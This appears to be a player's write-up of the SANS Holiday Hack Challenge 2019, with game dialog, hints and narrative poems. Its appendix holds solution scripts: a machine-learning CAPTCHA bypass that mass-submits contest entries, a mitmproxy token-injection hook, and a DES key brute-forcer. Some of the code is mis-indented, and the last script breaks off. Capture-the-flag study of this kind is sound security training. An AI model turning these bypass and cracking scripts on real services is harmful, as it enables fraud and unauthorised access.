Maybe I don't need a clunky GUI after all!
Have you taken a look at the password spray attack artifacts?
I'll bet that DeepBlueCLI tool is helpful.
You can check it out on GitHub.
It was written by that Eric Conrad.
He lives in Maine - not too far from here!

Introduces Challenge:

Escape Ed

Characters - The Quad - Santa (Umbrella)

Picture:



Dialog:

Initial and Introduction to Objective 1

This is a little embarrassing, but I need your help.

Our KringleCon turtle dove mascots are missing!

They probably just wandered off.

Can you please help find them?

To help you search for them and get acquainted with KringleCon, I've created some objectives for you. You can see them in your badge.

Where's your badge? Oh! It's that big, circle emblem on your chest - give it a tap!

We made them in two flavors - one for our new guests, and one for those who've attended both KringleCons.

After you find the Turtle Doves and complete objectives 2-5, please come back and let me know.

Not sure where to start? Try hopping around campus and talking to some elves.

If you help my elves with some quicker problems, they'll probably remember clues for the objectives.

Thank you for finding Jane and Michael, our two turtle doves!

...

After Objective 1-5 Completed:

I've got an uneasy feeling about how they disappeared.

Turtle doves wouldn't wander off like that.

Someone must have stolen them! Please help us find the thief!

It's a moral imperative!

I think you should look for an entrance to the steam tunnels and solve Challenge 6 and 7 too!

Gosh, I can't help but think:

Winds in the East, snow coming in...

Like something is brewing and about to begin!

Can't put my finger on what lies in store,

But I fear what's to happen all happened before!

Unlocks:

Narrative 2 of 10

Objectives 1 - 5 (initial)

Objectives 6-12 (after 1-5 are completed)

Characters - The Quad - Tangle Coalbox

Picture:



Dialog:

Initial and Introduction to Frosty Keypad Challenge

Hey kid, it's me, Tangle Coalbox.

I'm sleuthing again, and I could use your help.

Ya see, this here number lock's been popped by someone.

I think I know who, but it'd sure be great if you could open this up for me.

I've got a few clues for you.

1. One digit is repeated once.
2. The code is a prime number.
3. You can probably tell by looking at the keypad which buttons are used.

Introduces Challenge:

Frosty Keypad

Characters - Hermey Hall: Main - SugarPlum Mary

Picture:



Dialog:

Initial and Introduction to Linux Path Challenge

Oh me oh my - I need some help!

I need to review some files in my Linux terminal, but I can't get a file listing.

I know the command is ls, but it's really acting up.

Do you think you could help me out? As you work on this, think about these questions:

1. Do the words in green have special significance?
2. How can I find a file with a specific name?
3. What happens if there are multiple executables with the same name in my \$PATH?

...

Hint for Objective 4:

Oh there they are! Now I can delete them. Thanks!

Have you tried the Sysmon and EQL challenge?

If you aren't familiar with Sysmon, Carlos Perez has some great info about it.

Haven't heard of the Event Query Language?

Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

Introduces Challenge:

Linux Path

Characters - Hermey Hall: NetWars - Holly Evergreen

Picture:



Dialog:

Initial and Introduction to Mongo Pilfer Challenge

Hey! It's me, Holly Evergreen! My teacher has been locked out of the quiz database and can't remember the right solution. Without access to the answer, none of our quizzes will get graded.

Can we help get back in to find that solution?

I tried IsOf -i, but that tool doesn't seem to be installed.

I think there's a tool like ps that'll help too. What are the flags I need?

Either way, you'll need to know a teensy bit of Mongo once you're in.

Pretty please find us the solution to the quiz!

...

Hint for Objective 10:

Woohoo! Fantabulous! I'll be the coolest elf in class.

On a completely unrelated note, digital rights management can bring a hacking elf down.

That ElfScrow one can really be a hassle.

It's a good thing Ron Bowes is giving a talk on reverse engineering!

That guy knows how to rip a thing apart. It's like he breathes opcodes!

Introduces Challenge:

Mongo Pilfer

Characters - Hermey Hall: Speaker UNpreparedness Room - Alabaster Snowball

Picture:



Dialog:

Initial and Introduction to Nyanshell Challenge:

Welcome to the Speaker UNpreparedness Room!

My name's Alabaster Snowball and I could use a hand.

I'm trying to log into this terminal, but something's gone horribly wrong.

Every time I try to log in, I get accosted with ... a hatted cat and a toaster pastry?

I thought my shell was Bash, not flying feline.

When I try to overwrite it with something else, I get permission errors.

Have you heard any chatter about immutable files? And what is sudo -I telling me?

...

Hint for Objective 8:

Who would do such a thing?? Well, it IS a good looking cat.

Have you heard about the Frido Sleigh contest?

There are some serious prizes up for grabs.

*The content is strictly for elves. Only elves can pass the CAPTEHA challenge required to enter.
I heard there was a talk at KCII about using machine learning to defeat challenges like this.
I don't think anything could ever beat an elf though!*

Introduces Challenge:
Nyanshell

Characters - Hermey Hall: The Laboratory - Professor (Carl) Banas

Picture:



Dialog:

Initial and Introduction for Objective 6

Hi, I'm Dr. Banas, professor of Cheerology at Elf University.

This term, I'm teaching "HOL 404: The Search for Holiday Cheer in Popular Culture," and I've had quite a shock!

I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC.

Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!

If I don't, he will have to report the incident to the boss of the SOC.

Apparently, I can find out more information from this website <https://splunk.elfu.org/> with the username: elf / Password: elfsocks.

I don't know anything about computer security. Can you please help me?

...

After Completing Objective 6:

Oh, thanks so much for your help! Sorry I was freaking out.

I've got to talk to Kent about using my email again...

...and picking up my dry cleaning.

Unlocks:
Objective 6

Characters - Hermey Hall: The Laboratory - Sparkle Redberry

Picture:



Dialog:

Initial and Introduction to Xmas Cheer Laser Challenge:

I'm Sparkle Redberry and Imma chargin' my laser!

Problem is: the settings are off.

Do you know any PowerShell?

It'd be GREAT if you could hop in and recalibrate this thing.

It spreads holiday cheer across the Earth ...

... when it's working!

...

Hint for Objective 5:

You got it - three cheers for cheer!

For objective 5, have you taken a look at our Zeek logs?

Something's gone wrong. But I hear someone named Rita can help us.

Can you and she figure out what happened?

Introduces Challenge:

Xmas Cheer Laser

Characters - Student Union - Michael and Jane - Two Turtle Doves

Picture:



Dialog:

Hoot Hoot?

Unlocks:

Narrative 3 of 10

Characters - Student Union: Main - Kent Tinseltooth

Picture:



Dialog:

Initial and Introduction to Smart Braces Challenge:

I'll bet you can keep other students out of my head, so to speak.

It might just take a bit of lptables work.

...

OK, this is starting to freak me out!

Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up.

Do... Do you ever get the feeling you can hear things? Like, voices?

I know, I sound crazy, but ever since I got these... Oh!

Do you think you could take a look at my Smart Braces terminal?

I'll bet you can keep other students out of my head, so to speak.

It might just take a bit of lptables work.

...

Hint for Objective 11:

Oh thank you! It's so nice to be back in my own head again. Er, alone.

By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks.

There are funny rhymes, references to perspective, and odd mentions of eggs!

And if you think the stuff in your browser looks strange, you should see the page source...

Special tools? No, I don't think you'll need any extra tooling for those locks.

BUT - I'm pretty sure you'll need to use Chrome's developer tools for that one.

Or sorry, you're a Firefox fan?

*Yeah, Safari's fine too - I just have an ineffable hunger for a physical Esc key.
Edge? That's cool. Hm? No no, I was thinking of an unrelated thing.
Curl fan? Right on! Just remember: the Windows one doesn't like double quotes.
Old school, huh? Oh sure - I've got what you need right here...
...
And I hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard.*

Introduces Challenge:
Smart Braces

Characters - Student Union: Main - Shinny Upatree

Picture:



Dialog:

Initial:
Hey there.

...

Introduction to Objective 11:

Psst - hey!

I'm Shinny Upatree, and I know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.

In fact, I know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into [my crate](#), here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!

...

Introduction to Objective 12:

Wha - what?? You got into my crate?!

Well that's embarrassing...

But you know what? Hmm... If you're good enough to crack MY security...

Do you think you could bring this all to a grand conclusion?

Please go into the sleigh shop and see if you can finish this off!

Stop the Tooth Fairy from ruining Santa's sleigh route!

Introduces Challenge:

Objective 11 (Crate Challenge)

Objective 12 (Filter out Poison Sources of Weather Data Challenge)

Characters - Dorm: Main - Pepper Minstix

Picture:



Dialog:

Initial and Introduction to the Graylog Challenge:

It's me - Pepper Minstix.

Normally I'm jollier, but this Graylog has me a bit mystified.

Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.

Some Elf U computers were hacked, and I've been tasked with performing incident response.

Can you help me fill out the incident response report using our instance of Graylog?

It's probably helpful if you know a few things about Graylog.

Event IDs and Sysmon are important too. Have you spent time with those?

Don't worry - I'm sure you can figure this all out for me!

Click on the All messages Link to access the Graylog search interface!

Make sure you are searching in all messages!

The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.

Login with the username elfustudent and password elfustudent.

...

Hint for Objective 9:

That's it - hooray!

Have you had any luck retrieving scraps of paper from the Elf U server?

Have you had any luck retrieving scraps of paper from the Elf U server?

You might want to look into SQL injection techniques.

Introduces Challenge:

Graylog

Characters - Dorm: Main - Minty Candycane

Picture:



Dialog:

Initial and Introduction to Holiday Hack Trail Challenge:

Hi! I'm Minty Candycane!

I just LOVE this old game!

I found it on a 5 1/4" floppy in the attic.

You should give it a go!

If you get stuck at all, check out this year's talks.

One is about web application penetration testing.

Good luck, and don't get dysentery!

Introduces Challenge:

Holiday Hack Trail

Characters - Dorm: Minty Candycane Dorm Room - Krampus (Hollyfeld)

Picture:



Dialog:

None (He scampers away...)

Introduces Challenge:

Steam Tunnels/Bitting Key Cutter

Objective 7

Narrative 4 of 10

Characters - Steam Tunnels - Krampus (Hollyfeld)

Picture:



Dialog:

Initial:

Hello there! I'm Krampus Hollyfeld.

*I maintain the steam tunnels underneath Elf U,
Keeping all the elves warm and jolly.*

*Though I spend my time in the tunnels and smoke,
In this whole wide world, there's no happier bloke!*

Yes, I borrowed Santa's turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.

I sent the turtle doves to fetch the paper scraps.

But, before I can tell you more, I need to know that I can trust you.

Tell you what – if you can help me beat the [Frido Sleigh](#) contest (Objective 8), then I'll know I can trust you.

The contest is here on my screen and at [fridosleigh.com](#).

No purchase necessary, enter as often as you want, so I am!

They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs.

Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA.

(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)

I've already cataloged [12,000 images](#) and decoded the [API interface](#).

Can you help me bypass the CAPTEHA and submit lots of entries?

...

Unlock of Objective 9 and Steam Tunnel Teleportation:

You did it! Thank you so much. I can trust you!

To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels.

As for those scraps of paper, I scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, I managed to lock out my account on the server.

Hey! You've got some great skills. Would you please hack into my system and retrieve the scans?

*I give you permission to hack into it, solving Objective 9 in your badge.
And, as long as you're traveling around, be sure to solve any other challenges you happen across.*

...

Unlock of Objective 10:

Wow! We've uncovered quite a nasty plot to destroy the holiday season.

We've gotta stop whomever is behind it!

I managed to find this protected document on one of the compromised machines in our environment.

I think our attacker was in the process of exfiltrating it.

I'm convinced that it is somehow associated with the plan to destroy the holidays. Can you decrypt it?

There are some smart people in the NetWars challenge room who may be able to help us.

Introduces Challenge:

Objective 8

Objective 9

Objective 10

Narrative 5 of 10

Narrative 6 of 10 (After Objective 8)

Narrative 7 of 10 (After Objective 10)

Characters - Student Union: Sleigh Shop - Wunorse Openslae

Picture:



Dialog:

Initial and Introduction to Zeek JSON Analysis Challenge:

Wunorse Openslae here, just looking at some Zeek logs.

I'm pretty sure one of these connections is a malicious C2 channel...

Do you think you could take a look?

I hear a lot of C2 channels have very long connection times.

Please use jq to find the longest connection in this data set.

We have to kick out any and all grinchy activity!

...

Hint for Objective 12:

That's got to be the one - thanks!

Hey, you know what? We've got a crisis here.

You see, Santa's flight route is planned by a complex set of machine learning algorithms which use available weather data.

All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data!

I'm so flummoxed I can't even remember how to login!

Hmm... Maybe the Zeek http.log could help us.

I worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I'd be shocked if there weren't some shell stuff in there too.

Introduces Challenge:

Zeek JSON Analysis

Characters - Student Union: Sleigh Shop - The Tooth Fairy

Picture:



Dialog:

*I'm the Tooth Fairy, the mastermind behind the plot to destroy the holiday season.
I hate how Santa is so beloved, but only works one day per year!
He has all of the resources of the North Pole and the elves to help him too.
I run a solo operation, toiling year-round collecting deciduous bicuspid and more from children.
But I get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us!
But, although you found me, you haven't foiled my plot!
Santa's sleigh will NOT be able to find its way.
I will get my revenge and respect!
I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!*

Unlocks:

Narrative 8 of 10

Characters - Student Union: Sleigh Shop - Krampus (Hollyfeld)

Picture:



Dialog:

But there's still time! Solve the final challenge in your badge by blocking the bad IPs at srf.elfu.org and save the holiday season!

Introduces Challenge:

Objective 12

Characters - The Bell Tower - Santa

Picture:



Dialog:

*You did it! Thank you! You uncovered the sinister plot to destroy the holiday season!
Through your diligent efforts, we've brought the Tooth Fairy to justice and saved the holidays!*

Ho Ho Ho!
The more I laugh, the more I fill with glee.
And the more the glee,
The more I'm a merrier me!
Merry Christmas and Happy Holidays.

Unlocks:

Narrative 9 of 10

Narrative 10 of 10

Characters - The Bell Tower - Krampus (Hollyfeld)

Picture:



Dialog:

Congratulations on a job well done!
Oh, by the way, I won the Frido Sleigh contest.
I got 31.8% of the prizes, though I'll have to figure that out.

Characters - The Bell Tower - The Tooth Fairy (Orange Jumpsuit)

Picture:



Dialog:

You foiled my dastardly plan! I'm ruined!
And I would have gotten away with it too, if it weren't for you meddling kids!

Characters - The Bell Tower - Tooth

Picture:



Dialog:

I'm Jason!
Also, a tooth!

Reference - Other Interactive Objects

Interactive Objects - Student Union - Google Booth

Image:



Dialog:

Google is a proud sponsor of KringleCon and the Holiday Hack Challenge. We wish you a happy holiday hacking season.

...

You can try clicking on it, but sometimes a vent is just a vent.

Interactive Objects - Student Union - SANS.edu Booth

Image:



Dialog:

Happy holidays from the best college in cybersecurity. Brilliant minds like yours belong at SANS.edu.

Interactive Objects - Student Union - Splunk Booth

Image:



Dialog:

Splunk is proud to be a contributor to KringleCon and the Holiday Hack Challenge. Happy holidays from the Splunk security team!

Interactive Objects - Student Union - SWAG Booth

Image:



Dialog:

Want some KringleCon swag?

Profit? No, we don't make anything on swag sales.

Interactive Objects - Hermey Hall - Speaker Agenda Display

Image:



Artifact:

https://downloads.elfu.org/KringleCon2019_SpeakerAgenda.pdf

Narrative

Narrative 1 of 10

*Whose grounds these are, I think I know
His home is in the North Pole though
He will not mind me traipsing here
To watch his students learn and grow*

Unlocked:

Train Station - speaking to Santa for the first time

Narrative 2 of 10

*Some other folk might stop and sneer
"Two turtle doves, this man did rear?"
I'll find the birds, come push or shove
Objectives given: I'll soon clear*

Unlocked:

The Quad - speaking to Santa (umbrella) for the first time

Narrative 3 of 10

*Upon discov'ring each white dove,
The subject of much campus love,
I find the challenges are more
Than one can count on woolen glove.*

Unlocked:

Student Union - interacting with the two Turtle Doves for the first time

Narrative 4 of 10

*Who wandered thus through closet door?
Ho ho, what's this? What strange boudoir!
Things here cannot be what they seem
That portal's more than clothing store.*

Unlocked:

Entering Minty's Dorm Room/Scampering Krampus for the first time

Narrative 5 of 10

*Who enters contests by the ream
And lives in tunnels meant for steam?
This Krampus bloke seems rather strange
And yet I must now join his team...*

Unlocked:

Talking to Krampus in the Steam Tunnels for the first time

Narrative 6 of 10

*Despite this fellow's funk and mangle
My fate, I think, he's bound to change.
What is this contest all about?
His victory I shall arrange!*

Unlocked:

Talking to Krampus in the Steam Tunnels after solving Objective 8 Frido Sleigh

Narrative 7 of 10

*To arms, my friends! Do scream and shout!
Some villain targets Santa's route!
What scum - what filth would seek to end
Kris Kringle's journey while he's out?*

Unlocked:

Talking to Krampus in the Steam Tunnels after solving Objective 10 Recover Cleartext Document

Narrative 8 of 10

*Surprised, I am, but "shock" may tend
To overstate and condescend.
'Tis little more than plot reveal
That fairies often do extend*

Unlocked:

Talking to The Tooth Fairy in the Sleigh Shop

Narrative 9 of 10

*And yet, despite her jealous zeal,
My skills did win, my hacking heal!
No dental dealer can so keep
Our red-clad hero in ordeal!*

Unlocked:

Reaching the Bell Tower and talking to Santa

Narrative 10 of 10

*This Christmas must now fall asleep,
But next year comes, and troubles creep.
And Jack Frost hasn't made a peep,
And Jack Frost hasn't made a peep.*

..

Unlocked:

Reaching the Bell Tower and talking to Santa

Appendix

Code can also be found here after January 13,2020: <https://github.com/deckerXL/SANSHolidayHackChallenge2019>

Code - Objective 8 - capteha_api.py

```
#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld / Modified by deckerXL
import requests
import json
import sys
import base64
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)
import numpy as np
from threading import Thread, enumerate
from datetime import datetime
import queue
import time

yourREALemailAddress = "*****"

# Optimizations
NUM_PARALLEL_EXEC_UNITS = 6
config = tf.compat.v1.ConfigProto(intra_op_parallelism_threads=NUM_PARALLEL_EXEC_UNITS, inter_op_parallelism_threads=16, allow_soft_placement=True, device_count = {'GPU': 1})

def load_graph(model_file):
    graph = tf.Graph()
    graph_def = tf.compat.v1.GraphDef()
    with open(model_file, "rb") as f:
        graph_def.ParseFromString(f.read())
    with graph.as_default():
        tf.import_graph_def(graph_def)
    return graph

def load_labels(label_file):
    label = []
    proto_as_ascii_lines = tf.compat.v1.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def predict_image(q, sess, graph, image_bytes, img_uuid, labels, input_operation, output_operation, img_types):
    input_height = 299
    input_width = 299
    input_mean = 0
    input_std = 255

    image_reader = tf.image.decode_png(image_bytes, channels=3, name="png_reader")
    float_caster = tf.cast(image_reader, tf.float32)
    dims_expander = tf.expand_dims(float_caster, 0)
    resized = tf.compat.v1.image.resize_bilinear(dims_expander, [input_height, input_width])
    normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std])
    sess_image = tf.compat.v1.Session(config=config)
    image = sess_image.run(normalized)

    results = sess.run(output_operation.outputs[0], { input_operation.outputs[0]: image })
    results = np.squeeze(results)
    prediction = results.argmax()[-5:][:-1][0]

    str_pred = str(labels[prediction].title())
    if str_pred in img_types:
        print ("\t+++++ Queue put:"+img_uuid+"-- Prediction:"+str(labels[prediction].title())+"-- Precent:"+str(results[prediction]))
        q.put(img_uuid)

def main():
    # Loop until we get the captcha in under 10 seconds
    success = False
    attempts = 1
    while not success and attempts<=25:

        print ("*****")
        print ("***** Starting *****")
        print ("*****\n")

        tf.compat.v1.disable_eager_execution()
        final_answer = ""

        # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
        graph = load_graph('C:\\working\\retrain_tmp\\output_graph.pb')
        labels = load_labels('C:\\working\\retrain_tmp\\output_labels.txt')

        # Load up our session
        input_operation = graph.get_operation_by_name("import/Placeholder")
        output_operation = graph.get_operation_by_name("import/final_result")
        sess = tf.compat.v1.Session(graph=graph,config=config)

        # Creating a session to handle cookies
        s = requests.Session()
        url = "https://fridosleigh.com/"

        print ("Sending Request to: ["+url+"]...")
        json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)

        b64_images = json_resp['images'] # A list of dictionaries eaching containing the keys 'base64' and 'uuid'
        challenge_image_type = json_resp['select type'].split(',') # The Image types the CAPTEHA Challenge is looking for.
```

```

case1 = challenge_image_type[0].strip()
case2 = challenge_image_type[1].strip()
case3 = challenge_image_type[2].replace(' and ','').strip()
challenge_image_types = [case1, case2, case3] # cleaning and formatting

print ("Determined the following challenge image types: ["+str(challenge_image_types)+"]...\n")

threads = []
q = queue.Queue()

# Start timestamp
dateTimeObj1 = datetime.now()
print("Starting tensorflow analysis at timestamp: ["+str(dateTimeObj1)+"]")

for i in range(len(b64_images)):
    for j in b64_images[i]:
        if j == "base64":
            img_uuid = b64_images[i]['uuid']

            #predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
            image_bytes = base64.b64decode(b64_images[i][j])
            t = Thread(target=predict_image, args=(q, sess, graph, image_bytes, img_uuid, labels, input_operation, output_operation,
challenge_image_types), daemon=True)
            threads.append(t)

    for t in threads:
        t.start()

    for t in threads:
        t.join()

# Getting a list of all threads returned results
dateTimeObj2 = datetime.now()
print("Completed tensorflow analysis in: ["+str(dateTimeObj2-dateTimeObj1)+"] time\n")

# Create the final comma delimited list of image uuids to send to the server
final_answer = ','.join( list(q.queue) )

# This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text)

success = True
if not json_resp['request']:
    # If it fails just run again. ML might get one wrong occasionally
    print('FAILED MACHINE LEARNING GUESS')
    print('-----\nOur ML Guess:\n-----\n{}'.format(final_answer))
    print('-----\nServer Response:\n-----\n{}'.format(json_resp['data']))
    success = False
    attempts = attempts + 1

    # Clear variables for next loop iteration
    del final_answer, q, threads, b64_images

    print ("\n===== \n")

# End While Loop

print("CAPTEHA Solved on attempt ["+str(attempts)+"]!")

# =====
# Submit for Drawing
# =====

# If we get to here, we are successful and can submit a bunch of entries till we win
userinfo = {
    'name':'Krampus Hollyfeld',
    'email':yourREALEmailAddress,
    'age':180,
    'about':"Cause they're so flippin yummy!",
    'favorites':'thickmints'
}

# If we win the once-per minute drawing, it will tell us we were emailed.
# Should be no more than 200 times before we win. If more, somethings wrong.
entry_response = ''
entry_count = 1
while yourREALEmailAddress not in entry_response and entry_count < 200:
    print('Submitting lots of entries until we win the contest! Entry {}'.format(entry_count))
    entry_response = s.post("{}api/entry".format(url), data=userinfo).text
    entry_count += 1
print(entry_response)

if __name__ == "__main__":
    main()

```

Code - Objective 9 - validator-test.py

```

import re
import urllib.parse
import requests
import typing
import base64
import time

from mitmproxy import http

for i in range(30):
    response=requests.get('https://studentportal.elfu.org/validator.php')
    r = str(response.text)
    (r1,r2) = r.split('_')
    d1 = str(base64.b64decode(r1).decode("utf-8"))
    d2 = str(base64.b64decode(r2).decode("utf-8"))
    print (r + "\t" + d1 + "\t" + d2)
    time.sleep(1)

```

Code - Objective 9 - mitmcustom.py

```
import re
import urllib.parse
import requests
import typing

from mitmproxy import http

# set of SSL/TLS capable hosts
secure_hosts: typing.Set[str] = set()

def request(flow: http.HTTPFlow) -> None:
    response=requests.get('https://studentportal.elfu.org/validator.php')
    response_bytes = response.text.encode()
    flow.request.content = flow.request.content.replace(b'token=REPLACE', b'token='+response_bytes)
```

Code - Objective 10 - get_epoch_time.py

```
from datetime import datetime
from calendar import timegm
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("--year", help="4 digit Year (2019)", required=True)
parser.add_argument("--month", help="2 digit Year (12)", required=True)
parser.add_argument("--day", help="2 digit Day (25)", required=True)
parser.add_argument("--hour", help="2 digit hour in military time (19)", required=True)
parser.add_argument("--minutes", help="2 digit minutes in military time (00)", required=True)
parser.add_argument("--seconds", help="2 digit minutes in military time (00)", required=True)
args = parser.parse_args()

# Note: if you pass in a naive dtm object it's assumed to already be in UTC
def unix_time(dttm=None):
    if dttm is None:
        dttm = datetime.utcnow()

    return timegm(dttm.utctimetuple())

print ("Unix Epoch UTC timestamp for "+str(args.month)+"/"+str(args.day)+"/"+str(args.year)+
"+str(args.hour)+":"+str(args.minutes)+":"+str(args.seconds)+"\n"
" = "+str(unix_time(datetime(int(args.year), int(args.month), int(args.day), int(args.hour), int(args.minutes), int(args.seconds)))))
```

Code - Objective 10 - elfscrow_crack.py

```
#####
# Program: elfscrow_crack.py
#
# Description: Python implementation to bruteforce weak DES keys in HHC Objective 10
#
# Date: 12/2019
#
# Author: deckerXL
#
# Examples:
#
# python3 ./elfscrow_crack.py --epoch_start=1575658800 --epoch_end=1575666000
# --encrypted_file=./ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc
# --plaintext_file=./ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf --magicbyte_sentinel=PDF
#
#####
import sys
from Crypto.Cipher import DES
from Crypto.Cipher import PKCS1_OAEP
import time
import binascii
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("--epoch_start", help="Start time in Unix epoch time {}", required=True)
parser.add_argument("--epoch_end", help="End time in Unix epoch time {}", required=True)
parser.add_argument("--encrypted_file", help="Encrypted file {encrypted.enc}", required=True)
parser.add_argument("--plaintext_file", help="Plaintext filename to output {plaintext.ext}", required=True)
parser.add_argument("--magicbyte_sentinel", help="String to look for {PDF}", required=True)
parser.add_argument("--debug", action="store_true", help="Enable debugging output")
args = parser.parse_args()

def gen_key(seed):

    val1 = "000343fd" # Multiply value (214013 int) taken from dissembled code - (01351DC8 | IMUL EAX,EAX,343FD)
    val2 = "00269ec3" # Add value (2531011 int) taken from dissembled code - (01351DCE | ADD EAX,269EC3)
    val3 = "00000010" # Shift right value (16 int) taken from dissembled code - (01351DDD | SAR EAX,10)
    val4 = "00007fff" # AND value (0111 1111 1111 1111i binary) taken from dissembled code - (01351DE0 | AND EAX,7FFF)
    val5 = "000000ff" # Keep the low order byte - build key byte by byte with these - (01351E3F | AND ECX,0FF)

    if args.debug:
        print("Val1 Hex:"+str(format(int(val1,16), '#010x'))+" = Int:"+str(int(val1,16)))
        print("Val2 Hex:"+str(format(int(val2,16), '#010x'))+" = Int:"+str(int(val2,16)))
        print("Val3 Hex:"+str(format(int(val3,16), '#010x'))+" = Int:"+str(int(val3,16)))
        print("Val4 Hex:"+str(format(int(val4,16), '#010x'))+" = Int:"+str(int(val4,16)))

    if args.debug:
        print("Seed: "+str(seed))

    # The initial value for state is the seed
    state = seed

    key = ""
```

```

for i in range(0,8):

    # Step 1 - Multiply val1 with the current state value
    step1 = state * int(val1,16)
    if args.debug:
        print("Step1 state*val1: "+str(format(int(str(step1),16),'#010x'))))

    # Step 2 - Add val2 to the current state value
    step2 = step1 + int(val2,16)
    if args.debug:
        print("Step2 step1+val2: "+str(format(int(str(step2),16),'#010x'))))

    # Save State - this now becomes the saved state value for the next iteration of the loop
    state = step2
    if args.debug:
        print("Save State:      "+str(format(int(str(state),16),'#010x'))))

    # Step 3 - Do a bitwise shift right 16 bits
    step3 = step2>>16
    if args.debug:
        print("Step3 step2>>16:  "+str(format(int(str(step3),16),'#010x'))))

    # Step 4 - Do a bitwise AND with val4
    step4 = step3 & int(val4,16)
    if args.debug:
        print("Step4 step3&val4: "+str(format(int(str(step4),16),'#010x'))))

    # Step 5 - Do a bitwise AND with val5 - this will retain the least significant/low-order byte
    lsb = hex(int(step4) & int(val5,16))
    if args.debug:
        print ("Key:"+str(format(int(step4),'#010x'))+" -- Least Significant Byte:"+str(lsb))

    # Concatenate this least significant byte to become part of the key
    key = key + str(format(int(lsb,16),'02x'))

    step1 = step2 = step3 = step4 = lsb = 0

    if args.debug:
        print ("Key:  "+key)

    return key

# =====
# Main
# =====

start_seed = int(args.epoch_start)
end_seed   = int(args.epoch_end)

infile = args.encrypted_file
outfile = args.plaintext_file

ciphertext = open(infile, "rb").read()
cipher_len = len(ciphertext)
if cipher_len % 8 != 0:
    for i in range(0, 8 -cipher_len%8):
        ciphertext += " "

#iv = str(bytearray(8))
iv = bytearray(8)

plaintext = ""
found = False
for s in range(start_seed,end_seed+1):
    key_hex = gen_key(s)

    if args.debug:
        print ("Seed: "+str(s)+" -- Key: "+str(key_hex))

    key = binascii.unhexlify(key_hex)
    cipher = DES.new(key, DES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext_header = plaintext[0:8]

    print ("Seed:"+str(s)+" -- Key: "+str(key_hex)+" -- Bytes: ["+str(plaintext_header)+"]")

    filetype = plaintext_header.find(args.magicbyte_sentinel.encode())
    if filetype > 0:
        print ("\nFOUND IT! - Seed:"+str(s)+" -- Key: "+str(key_hex)+" -- Bytes: ["+str(plaintext_header)+"]\n")
        found = True
        break

if found:
    print ("Writing plaintext output ["+args.plaintext_file+"]")
    f = open(outfile, "wb")
    f.write(plaintext)
    f.close()
else:
    print ("ERROR: Did not find a key that decrypted ciphertext to magic bytes.")
    sys.exit(1)

sys.exit(0)

```


Code - Achievement - Holiday Hack Trail - hht.py

```
#####
# Program: hht.py
#
# Description: Python client to play the SANS Holiday Hack Trail online game. Incorporates cheat codes!
#
# Date: 12/2019
#
# Author: deckerXL
#
# Examples:
#
# python3 hht.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=1 --extrarunners=1
# --extrafood=5 --extrameds=2 --extraammo=5 --proxy --proxy_host=127.0.0.1 --proxy_port=8080
#
# python3 hht.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=0 --extrarunners=0
# --extrafood=0 --extrameds=0 --extraammo=25 --invulnerability --proxy --proxy_host=127.0.0.1 --proxy_port=8080
#
# python3 hht.py --playerid=JebediahSpringfield --difficulty=easy --pace=2 --extrareindeer=0 --extrarunners=0
# --extrafood=10 --extrameds=10 --extraammo=20 --allmax --proxy --proxy_host=127.0.0.1 --proxy_port=8080
#
# Don't forget to check out all the CHEAT CODE options below!
#####
import sys
import re
import random
import statistics
import argparse
import requests
requests.packages.urllib3.disable_warnings()

parser = argparse.ArgumentParser()
parser.add_argument("--playerid", help="Set PlayerId to send to the server", required=True)
parser.add_argument("--difficulty", help="Set difficulty level (easy, medium, hard)", required=True)
parser.add_argument("--pace", help="Set pace level (0, 1, 2)", required=True)
parser.add_argument("--extrareindeer", help="Number of extra reindeer to buy (0-9)", required=True)
parser.add_argument("--extrarunners", help="Number of extra runners to buy (0-9)", required=True)
parser.add_argument("--extrafood", help="Amount of extra food to buy (0-1000)", required=True)
parser.add_argument("--extrameds", help="Amount of extra meds to buy (0-100)", required=True)
parser.add_argument("--extraammo", help="Amount of extra ammo to buy (0-100)", required=True)
parser.add_argument("--proxy", action="store_true", help="Use proxy - proxy host/port values are in the code")
parser.add_argument("--proxy_host", help="Set proxy host - set in conjunction with --proxy")
parser.add_argument("--proxy_port", help="Set proxy port - set in conjunction with --proxy")
